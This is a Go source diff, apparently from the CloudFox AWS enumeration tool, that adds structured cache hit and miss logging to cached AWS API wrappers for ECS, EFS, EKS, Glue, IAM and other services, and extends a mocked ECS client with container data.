||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListClusters, err := ECSClient.ListClusters(
|
||||
@@ -77,9 +89,22 @@ func CachedECSListTasks(ECSClient AWSECSClientInterface, accountID string, regio
|
||||
cacheKey := fmt.Sprintf("%s-ecs-ListTasks-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS tasks data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListTasks, err := ECSClient.ListTasks(
|
||||
@@ -120,9 +145,22 @@ func CachedECSDescribeTasks(ECSClient AWSECSClientInterface, accountID string, r
|
||||
cacheKey := fmt.Sprintf("%s-ecs-DescribeTasks-%s-%s", accountID, region, clusterFileSystemSafe)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS task details data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": cluster,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ecsTypes.Task), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTasks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": cluster,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeTasks, err := ECSClient.DescribeTasks(
|
||||
context.TODO(),
|
||||
@@ -153,9 +191,22 @@ func CachedECSDescribeTaskDefinition(ECSClient AWSECSClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-ecs-DescribeTaskDefinition-%s-%s", accountID, region, taskDefinitionFileSystemSafe)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS task definition details data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTaskDefinition",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"taskDefinition": taskDefinition,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(ecsTypes.TaskDefinition), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:DescribeTaskDefinition",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"taskDefinition": taskDefinition,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeTaskDefinition, err := ECSClient.DescribeTaskDefinition(
|
||||
context.TODO(),
|
||||
@@ -186,9 +237,22 @@ func CachedECSListServices(ECSClient AWSECSClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-ecs-ListServices-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS services data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListServices, err := ECSClient.ListServices(
|
||||
|
||||
@@ -135,12 +135,30 @@ func (c *MockedECSClient) DescribeTasks(ctx context.Context, input *ecs.Describe
|
||||
Status: aws.String(a.Status),
|
||||
})
|
||||
}
|
||||
|
||||
var containers []ecsTypes.Container
|
||||
|
||||
for _, container := range mockedTask.Containers {
|
||||
containers = append(containers, ecsTypes.Container{
|
||||
ContainerArn: aws.String(container.ContainerArn),
|
||||
Cpu: aws.String(container.CPU),
|
||||
HealthStatus: ecsTypes.HealthStatus(container.HealthStatus),
|
||||
Image: aws.String(container.Image),
|
||||
LastStatus: aws.String(container.LastStatus),
|
||||
Memory: aws.String(container.Memory),
|
||||
Name: aws.String(container.Name),
|
||||
RuntimeId: aws.String(container.RuntimeID),
|
||||
TaskArn: aws.String(container.TaskArn),
|
||||
})
|
||||
}
|
||||
|
||||
tasks = append(tasks, ecsTypes.Task{
|
||||
ClusterArn: aws.String(mockedTask.ClusterArn),
|
||||
TaskDefinitionArn: aws.String(mockedTask.TaskDefinitionArn),
|
||||
LaunchType: ecsTypes.LaunchType(*aws.String(mockedTask.LaunchType)),
|
||||
TaskArn: aws.String(mockedTask.TaskArn),
|
||||
Attachments: attachments,
|
||||
Containers: containers,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/efs"
|
||||
efsTypes "github.com/aws/aws-sdk-go-v2/service/efs/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSEFSClientInterface interface {
|
||||
@@ -34,8 +35,20 @@ func CachedDescribeFileSystems(EFSClient AWSEFSClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeFileSystems-%s", accountID, r)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystems",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]efsTypes.FileSystemDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystems",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeFileSystems, err := EFSClient.DescribeFileSystems(
|
||||
@@ -73,8 +86,20 @@ func CachedDescribeMountTargets(EFSClient AWSEFSClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeMountTargets-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeMountTargets",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]efsTypes.MountTargetDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeMountTargets",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeMountTargets, err := EFSClient.DescribeMountTargets(
|
||||
@@ -113,8 +138,20 @@ func CachedDescribeAccessPoints(EFSClient AWSEFSClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-efs-DescribeAccessPoints-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeAccessPoints",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]efsTypes.AccessPointDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeAccessPoints",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeAccessPoints, err := EFSClient.DescribeAccessPoints(
|
||||
context.TODO(),
|
||||
@@ -151,8 +188,20 @@ func CachedDescribeFileSystemPolicy(EFSClient AWSEFSClientInterface, filesystemI
|
||||
cacheKey := fmt.Sprintf("efs-%s-DescribeFileSystemPolicy-%s-%s", accountID, r, filesystemId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystemPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "efs:DescribeFileSystemPolicy",
|
||||
"account": accountID,
|
||||
"region": r,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
Policy, err := EFSClient.DescribeFileSystemPolicy(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/eks"
|
||||
eksTypes "github.com/aws/aws-sdk-go-v2/service/eks/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type EKSClientInterface interface {
|
||||
@@ -30,8 +31,22 @@ func CachedEKSDescribeCluster(client EKSClientInterface, accountID string, clust
|
||||
cacheKey := fmt.Sprintf("%s-eks-DescribeCluster-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeCluster",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(eksTypes.Cluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeCluster",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
clusterOutput, err := client.DescribeCluster(
|
||||
context.TODO(),
|
||||
&eks.DescribeClusterInput{
|
||||
@@ -57,8 +72,20 @@ func CachedEKSListClusters(client EKSClientInterface, accountID string, region s
|
||||
cacheKey := fmt.Sprintf("%s-eks-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListClusters, err := client.ListClusters(
|
||||
context.TODO(),
|
||||
@@ -93,8 +120,22 @@ func CachedEKSListNodeGroups(client EKSClientInterface, accountID string, region
|
||||
cacheKey := fmt.Sprintf("%s-eks-ListNodeGroups-%s-%s", accountID, region, clusterName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListNodegroups",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:ListNodegroups",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListNodeGroups, err := client.ListNodegroups(
|
||||
context.TODO(),
|
||||
@@ -129,8 +170,24 @@ func CachedEKSDescribeNodeGroup(client EKSClientInterface, accountID string, reg
|
||||
cacheKey := fmt.Sprintf("%s-eks-DescribeNodeGroup-%s-%s-%s", accountID, region, clusterName, nodeGroupName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeNodegroup",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"nodeGroup": nodeGroupName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(eksTypes.Nodegroup), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "eks:DescribeNodegroup",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cluster": clusterName,
|
||||
"nodeGroup": nodeGroupName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
nodeGroupOutput, err := client.DescribeNodegroup(
|
||||
context.TODO(),
|
||||
&eks.DescribeNodegroupInput{
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticache"
|
||||
elasticacheTypes "github.com/aws/aws-sdk-go-v2/service/elasticache/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSElastiCacheClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedElastiCacheDescribeCacheClusters(client AWSElastiCacheClientInterface
|
||||
cacheKey := fmt.Sprintf("%s-elasticache-DescribeCacheClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticache:DescribeCacheClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elasticacheTypes.CacheCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticache:DescribeCacheClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeCacheClusters, err := client.DescribeCacheClusters(
|
||||
context.TODO(),
|
||||
|
||||
@@ -3,9 +3,13 @@ package sdk
|
||||
import (
|
||||
"context"
|
||||
"encoding/gob"
|
||||
"fmt"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticbeanstalk"
|
||||
elasticbeanstalkTypes "github.com/aws/aws-sdk-go-v2/service/elasticbeanstalk/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSElasticBeanstalkClientInterface interface {
|
||||
@@ -18,6 +22,23 @@ func init() {
|
||||
|
||||
func CachedElasticBeanstalkDescribeApplications(client AWSElasticBeanstalkClientInterface, accountID string, region string) ([]elasticbeanstalkTypes.ApplicationDescription, error) {
|
||||
var applications []elasticbeanstalkTypes.ApplicationDescription
|
||||
cacheKey := fmt.Sprintf("%s-elasticbeanstalk-DescribeApplications-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticbeanstalk:DescribeApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elasticbeanstalkTypes.ApplicationDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elasticbeanstalk:DescribeApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeApplications, err := client.DescribeApplications(
|
||||
context.TODO(),
|
||||
&elasticbeanstalk.DescribeApplicationsInput{},
|
||||
@@ -31,5 +52,6 @@ func CachedElasticBeanstalkDescribeApplications(client AWSElasticBeanstalkClient
|
||||
}
|
||||
|
||||
applications = append(applications, DescribeApplications.Applications...)
|
||||
internal.Cache.Set(cacheKey, applications, cache.DefaultExpiration)
|
||||
return applications, nil
|
||||
}
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing"
|
||||
elbTypes "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancing/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type ELBClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedELBDescribeLoadBalancers(client ELBClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-elb-DescribeLoadBalancers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elb:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elbTypes.LoadBalancerDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elb:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2"
|
||||
elbV2Types "github.com/aws/aws-sdk-go-v2/service/elasticloadbalancingv2/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type ELBv2ClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedELBv2DescribeLoadBalancers(client ELBv2ClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-elbv2-DescribeLoadBalancers-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elbv2:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]elbV2Types.LoadBalancer), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "elbv2:DescribeLoadBalancers",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeLoadBalancers, err := client.DescribeLoadBalancers(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/emr"
|
||||
emrTypes "github.com/aws/aws-sdk-go-v2/service/emr/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSEMRClientInterface interface {
|
||||
@@ -30,8 +31,20 @@ func CachedEMRListClusters(client AWSEMRClientInterface, accountID string, regio
|
||||
cacheKey := fmt.Sprintf("%s-emr-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]emrTypes.ClusterSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListClusters, err := client.ListClusters(
|
||||
context.TODO(),
|
||||
@@ -66,8 +79,22 @@ func CachedEMRListInstances(client AWSEMRClientInterface, accountID string, regi
|
||||
cacheKey := fmt.Sprintf("%s-emr-ListInstances-%s-%s", accountID, region, clusterID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"clusterId": clusterID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]emrTypes.Instance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "emr:ListInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"clusterId": clusterID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListInstances, err := client.ListInstances(
|
||||
context.TODO(),
|
||||
|
||||
+63
-5
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/glue"
|
||||
glueTypes "github.com/aws/aws-sdk-go-v2/service/glue/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSGlueClientInterface interface {
|
||||
@@ -36,9 +37,20 @@ func CachedGlueListDevEndpoints(GlueClient AWSGlueClientInterface, accountID str
|
||||
cacheKey := "glue-ListDevEndpoints-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue dev endpoints data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListDevEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListDevEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListDevEndpoints, err := GlueClient.ListDevEndpoints(
|
||||
@@ -77,9 +89,20 @@ func CachedGlueListJobs(GlueClient AWSGlueClientInterface, accountID string, reg
|
||||
cacheKey := "glue-ListJobs-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue jobs data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListJobs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:ListJobs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListJobs, err := GlueClient.ListJobs(
|
||||
@@ -118,9 +141,22 @@ func CachedGlueGetTables(GlueClient AWSGlueClientInterface, accountID string, re
|
||||
cacheKey := "glue-GetTables-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue tables data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"database": dbName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]glueTypes.Table), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"database": dbName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetTables, err := GlueClient.GetTables(
|
||||
@@ -160,9 +196,20 @@ func CachedGlueGetDatabases(GlueClient AWSGlueClientInterface, accountID string,
|
||||
cacheKey := "glue-GetDatabases-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue databases data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]glueTypes.Database), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetDatabases, err := GlueClient.GetDatabases(
|
||||
@@ -203,9 +250,20 @@ func CachedGlueGetResourcePolicies(GlueClient AWSGlueClientInterface, accountID
|
||||
cacheKey := "glue-GetResourcePolicies-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Glue resource policies data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetResourcePolicies",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]policy.Policy), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "glue:GetResourcePolicies",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetResourcePolicies, err := GlueClient.GetResourcePolicies(
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/grafana"
|
||||
grafanaTypes "github.com/aws/aws-sdk-go-v2/service/grafana/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type GrafanaClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedGrafanaListWorkspaces(client GrafanaClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-grafana-ListWorkspaces-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "grafana:ListWorkspaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]grafanaTypes.WorkspaceSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "grafana:ListWorkspaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/iam"
|
||||
iamTypes "github.com/aws/aws-sdk-go-v2/service/iam/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSIAMClientInterface interface {
|
||||
@@ -44,8 +45,18 @@ func CachedIamListUsers(IAMClient AWSIAMClientInterface, accountID string) ([]ia
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListUsers", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListUsers",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.User), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListUsers",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListUsers, err := IAMClient.ListUsers(
|
||||
@@ -81,8 +92,18 @@ func CachedIamListRoles(IAMClient AWSIAMClientInterface, accountID string) ([]ia
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListRoles", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListRoles",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.Role), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListRoles",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListRoles, err := IAMClient.ListRoles(
|
||||
@@ -118,8 +139,20 @@ func CachedIamListAccessKeys(IAMClient AWSIAMClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-iam-ListAccessKeys-%s", accountID, userName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListAccessKeys",
|
||||
"account": accountID,
|
||||
"userName": userName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]iamTypes.AccessKeyMetadata), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "iam:ListAccessKeys",
|
||||
"account": accountID,
|
||||
"userName": userName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
